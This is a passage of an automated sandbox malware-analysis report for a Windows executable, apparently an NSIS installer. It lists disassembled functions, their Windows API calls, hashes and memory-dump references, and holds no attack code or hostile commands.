                                            • Opcode ID: b89fa3b0e8c371e7ca3b560dfc137a163ff1d9034affe8bcb8ea131d3c401b1a
                                            • Instruction ID: b8756f995b5f19bf65138570f0328ac05a5921d347238761232d12e19ef7feba
                                            • Opcode Fuzzy Hash: b89fa3b0e8c371e7ca3b560dfc137a163ff1d9034affe8bcb8ea131d3c401b1a
                                            • Instruction Fuzzy Hash: 2C414679A00204AFCB04EFA4C988E9E7B79EF48314F20456AF915EB3E1CB79D941CB54
                                            Function 004029F1 Relevance: 1.5, APIs: 1, Instructions: 28fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • FindFirstFileW.KERNEL32(00000000,?), ref: 00402A01
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: FileFindFirst
                                            • String ID:
                                            • API String ID: 1974802433-0
                                            • Opcode ID: 2942623f6c0277285390027b9d18840a489366ce0a7cc68cdc812ca0f05454fe
                                            • Instruction ID: 400e5e0b203cfa4d99e013a63ed7a258bcbaee981441f5d34274aa4bdee23deb
                                            • Opcode Fuzzy Hash: 2942623f6c0277285390027b9d18840a489366ce0a7cc68cdc812ca0f05454fe
                                            • Instruction Fuzzy Hash: 6AE065716042109BE710E778AD89AAF226CDF41328B100677E116F50D1E67889819B1D
                                            Function 00406E34 Relevance: .3, Instructions: 348COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 3db9e2985b9a95f07b4948d92816868b6eb93f1de1133e87cfb4c0131ea940ae
                                            • Instruction ID: 195f9c0d2d2971c704648993b79f5dd0ea752a0e03b98457dcbfca0f5118a9d4
                                            • Opcode Fuzzy Hash: 3db9e2985b9a95f07b4948d92816868b6eb93f1de1133e87cfb4c0131ea940ae
                                            • Instruction Fuzzy Hash: D2E16D71D04214DFCF18CF58D880AADB7F1AF45305F1981ABE856AF286D738AA50CF55
                                            Function 0040680A Relevance: .3, Instructions: 305COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 06c75ba6eb7b1da5beda44bb12a349235cc55abe98431d1e410fa8ae9787adfe
                                            • Instruction ID: 00c1500383e690738851ed547f8828f465c8dec40552374253bbad03b7333b94
                                            • Opcode Fuzzy Hash: 06c75ba6eb7b1da5beda44bb12a349235cc55abe98431d1e410fa8ae9787adfe
                                            • Instruction Fuzzy Hash: 59C15C72A012698FCF18DF68C9805ED7BA2FF89314B16812AEC56A7384D734EC55CF84
                                            Function 00404F45 Relevance: 48.3, APIs: 32, Instructions: 345windowstringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00404F81
                                            • ShowWindow.USER32(?), ref: 00404F9E
                                            • DestroyWindow.USER32 ref: 00404FB2
                                            • SetWindowLongW.USER32(?,00000000,00000000), ref: 00404FCE
                                            • GetDlgItem.USER32(?,?), ref: 00404FEF
                                            • SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405003
                                            • IsWindowEnabled.USER32(00000000), ref: 0040500A
                                            • GetDlgItem.USER32(?,00000001), ref: 004050B9
                                            • GetDlgItem.USER32(?,00000002), ref: 004050C3
                                            • SetClassLongW.USER32(?,000000F2,?), ref: 004050DD
                                            • SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040512E
                                            • GetDlgItem.USER32(?,00000003), ref: 004051D4
                                            • ShowWindow.USER32(00000000,?), ref: 004051F6
                                            • EnableWindow.USER32(?,?), ref: 00405208
                                            • EnableWindow.USER32(?,?), ref: 00405223
                                            • GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00405239
                                            • EnableMenuItem.USER32(00000000), ref: 00405240
                                            • SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00405258
                                            • SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040526B
                                            • lstrlenW.KERNEL32(0044FD98,?,0044FD98,004732A0), ref: 00405294
                                            • SetWindowTextW.USER32(?,0044FD98), ref: 004052A8
                                            • ShowWindow.USER32(?,0000000A), ref: 004053DC
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
                                            • String ID:
                                            • API String ID: 184305955-0
                                            • Opcode ID: 7aaa3711757a90e2e8d2d5b12379ccc9e45fddc9e642e06a127254d179e313fb
                                            • Instruction ID: 48c820c9c586f8d8a765c04f05b8e06de5329faa08805170889eeb6d15e0b63f
                                            • Opcode Fuzzy Hash: 7aaa3711757a90e2e8d2d5b12379ccc9e45fddc9e642e06a127254d179e313fb
                                            • Instruction Fuzzy Hash: 1DC19F71500A04EBDB206F61EE89E2B3AA8FB45746F00053EF645B11F1CB799881EF5E
                                            Function 00403C1F Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 212windowstringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00403CD3
                                            • GetDlgItem.USER32(?,000003E8), ref: 00403CE7
                                            • SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00403D04
                                            • GetSysColor.USER32(?), ref: 00403D15
                                            • SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00403D23
                                            • SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 00403D31
                                            • lstrlenW.KERNEL32(?), ref: 00403D3C
                                            • SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00403D49
                                            • SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00403D58
                                              • Part of subcall function 00403B31: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00403C8A,?), ref: 00403B48
                                              • Part of subcall function 00403B31: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00403C8A,?), ref: 00403B57
                                              • Part of subcall function 00403B31: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00403C8A,?), ref: 00403B6B
                                            • GetDlgItem.USER32(?,0000040A), ref: 00403DB2
                                            • SendMessageW.USER32(00000000), ref: 00403DB9
                                            • GetDlgItem.USER32(?,000003E8), ref: 00403DE4
                                            • SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 00403E27
                                            • LoadCursorW.USER32(00000000,00007F02), ref: 00403E35
                                            • SetCursor.USER32(00000000), ref: 00403E38
                                            • ShellExecuteW.SHELL32(0000070B,open,0046B220,00000000,00000000,00000001), ref: 00403E4D
                                            • LoadCursorW.USER32(00000000,00007F00), ref: 00403E59
                                            • SetCursor.USER32(00000000), ref: 00403E5C
                                            • SendMessageW.USER32(00000111,00000001,00000000), ref: 00403E8B
                                            • SendMessageW.USER32(00000010,00000000,00000000), ref: 00403E9D
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
                                            • String ID: 22571808$N$open
                                            • API String ID: 3928313111-3600904172
                                            • Opcode ID: eeec9a5106f0c5fb6c06cb270565f78b24ee1f1d5bc0a3e508a16aae0c4c8822
                                            • Instruction ID: ed57efd37533f930562fe34da2b72c8113efd27b5b8a5cb1164b605c320215f3
                                            • Opcode Fuzzy Hash: eeec9a5106f0c5fb6c06cb270565f78b24ee1f1d5bc0a3e508a16aae0c4c8822
                                            • Instruction Fuzzy Hash: A87181B1900609BFDB109F24DD89A6A7F7CFB04306F00813AF605B62E1C7789A51CF99
                                            Function 0040635B Relevance: 36.9, APIs: 15, Strings: 6, Instructions: 163filestringmemoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrcpyW.KERNEL32(00463E20,NUL), ref: 0040636B
                                            • CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,00000000,?,?,?,0040654E,00000000,00000000,00000001,00406721,?,00000000), ref: 0040638A
                                            • GetShortPathNameW.KERNEL32(00000000,00463E20,00000400), ref: 00406393
                                              • Part of subcall function 00405864: lstrlenA.KERNEL32(00406495,?,00000000,00000000,?,00000000,00406495,00000000,[Rename]), ref: 00405874
                                              • Part of subcall function 00405864: lstrlenA.KERNEL32(00000000,?,00000000,00406495,00000000,[Rename]), ref: 004058A6
                                            • GetShortPathNameW.KERNEL32(Ne@,00469478,00000400), ref: 004063B4
                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,00463E20,000000FF,00464620,00000400,00000000,00000000,?,00000000,?,?,?,0040654E,00000000,00000000), ref: 004063DD
                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,00469478,000000FF,00464C70,00000400,00000000,00000000,?,00000000,?,?,?,0040654E,00000000,00000000), ref: 004063F5
                                            • wsprintfA.USER32 ref: 0040640F
                                            • GetFileSize.KERNEL32(00000000,00000000,00469478,C0000000,00000004,00469478,?), ref: 00406447
                                            • GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406456
                                            • ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406472
                                            • lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 004064A2
                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00465070,00000000,-0000000A,004089A0,00000000,[Rename]), ref: 004064F5
                                              • Part of subcall function 004058FE: GetFileAttributesW.KERNELBASE(00000003,0040315B,C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe,80000000,00000003,?,?,?,00000000,004035D7,?), ref: 00405902
                                              • Part of subcall function 004058FE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,004035D7,?), ref: 00405924
                                            • WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406509
                                            • GlobalFree.KERNEL32(00000000), ref: 00406510
                                            • CloseHandle.KERNEL32(?), ref: 0040651A
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
                                            • String ID: >F$%s=%s$NUL$Ne@$[Rename]$pLF
                                            • API String ID: 565278875-2487742289
                                            • Opcode ID: b4dbeba100c443a2c99ce08ec389315a9b0dbc3ce33a9389b5f019bb092845f7
                                            • Instruction ID: ec96de5c0a89ca25b54bc76a1f58c05e631165e395b03bcecce623a0c26120a0
                                            • Opcode Fuzzy Hash: b4dbeba100c443a2c99ce08ec389315a9b0dbc3ce33a9389b5f019bb092845f7
                                            • Instruction Fuzzy Hash: C2412A32105209BFC6202B61EE48E2F3E5CDF86758B16453EF546F22D1DE3D98158ABE
                                            Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON
                                            Download Yara Rule
                                            APIs
                                            • DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
                                            • BeginPaint.USER32(?,?), ref: 00401047
                                            • GetClientRect.USER32(?,?), ref: 0040105B
                                            • CreateBrushIndirect.GDI32(00000000), ref: 004010D8
                                            • FillRect.USER32(00000000,?,00000000), ref: 004010ED
                                            • DeleteObject.GDI32(?), ref: 004010F6
                                            • CreateFontIndirectW.GDI32(?), ref: 0040110E
                                            • SetBkMode.GDI32(00000000,00000001), ref: 0040112F
                                            • SetTextColor.GDI32(00000000,000000FF), ref: 00401139
                                            • SelectObject.GDI32(00000000,?), ref: 00401149
                                            • DrawTextW.USER32(00000000,004732A0,000000FF,00000010,00000820), ref: 0040115F
                                            • SelectObject.GDI32(00000000,00000000), ref: 00401169
                                            • DeleteObject.GDI32(?), ref: 0040116E
                                            • EndPaint.USER32(?,?), ref: 00401177
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
                                            • String ID: F
                                            • API String ID: 941294808-1304234792
                                            • Opcode ID: 6ff7da4ded68621eb9ecef41b220d021edcb146cdc93fa7e0b1181698ae2407c
                                            • Instruction ID: 5d70bd818855421fa823bf0ed1b165e0401977292747d9ede3c4f118d7b178ba
                                            • Opcode Fuzzy Hash: 6ff7da4ded68621eb9ecef41b220d021edcb146cdc93fa7e0b1181698ae2407c
                                            • Instruction Fuzzy Hash: BB515A71400209AFCF058F95DE459AF7FB9EF44311F04802AF992AA1A0CB38DA55DFA4
                                            Function 004060CA Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 218stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetVersion.KERNEL32(00447D88,?,00000000,00404AAA,00447D88,00000000,00424D76,74DF23A0,00000000), ref: 0040619B
                                            • GetSystemDirectoryW.KERNEL32(22571808,00002004), ref: 0040621D
                                              • Part of subcall function 00405AB8: lstrcpynW.KERNEL32(?,?,00002004,00403483,004732A0,NSIS Error), ref: 00405AC5
                                              • Part of subcall function 004060CA: SHGetSpecialFolderLocation.SHELL32(?,?), ref: 0040626C
                                              • Part of subcall function 004060CA: SHGetPathFromIDListW.SHELL32(?,22571808), ref: 0040627A
                                              • Part of subcall function 004060CA: CoTaskMemFree.OLE32(?), ref: 00406285
                                            • GetWindowsDirectoryW.KERNEL32(22571808,00002004), ref: 00406230
                                            • lstrcatW.KERNEL32(22571808,\Microsoft\Internet Explorer\Quick Launch), ref: 004062AA
                                            • lstrlenW.KERNEL32(22571808,00447D88,?,00000000,00404AAA,00447D88,00000000,00424D76,74DF23A0,00000000), ref: 0040630C
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrcpynlstrlen
                                            • String ID: 22571808$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
                                            • API String ID: 3935908587-13519471
                                            • Opcode ID: d404f1267a91f84120ed82a5726344723f4104790e5192d29b3fdddb81e5045c
                                            • Instruction ID: faf527bbbd80b2f6d96589bc921f5814a8c68153425bf04786751db3c9b8505d
                                            • Opcode Fuzzy Hash: d404f1267a91f84120ed82a5726344723f4104790e5192d29b3fdddb81e5045c
                                            • Instruction Fuzzy Hash: A2711531900215AADF20AF68CC4467E33B4EB55314F12817FE947BA2E1D73D89A2CB9D
                                            Function 00403952 Relevance: 12.1, APIs: 8, Instructions: 60COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetWindowLongW.USER32(?,000000EB), ref: 0040396C
                                            • GetSysColor.USER32(00000000), ref: 00403988
                                            • SetTextColor.GDI32(?,00000000), ref: 00403994
                                            • SetBkMode.GDI32(?,?), ref: 004039A0
                                            • GetSysColor.USER32(?), ref: 004039B3
                                            • SetBkColor.GDI32(?,?), ref: 004039C3
                                            • DeleteObject.GDI32(?), ref: 004039DD
                                            • CreateBrushIndirect.GDI32(?), ref: 004039E7
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
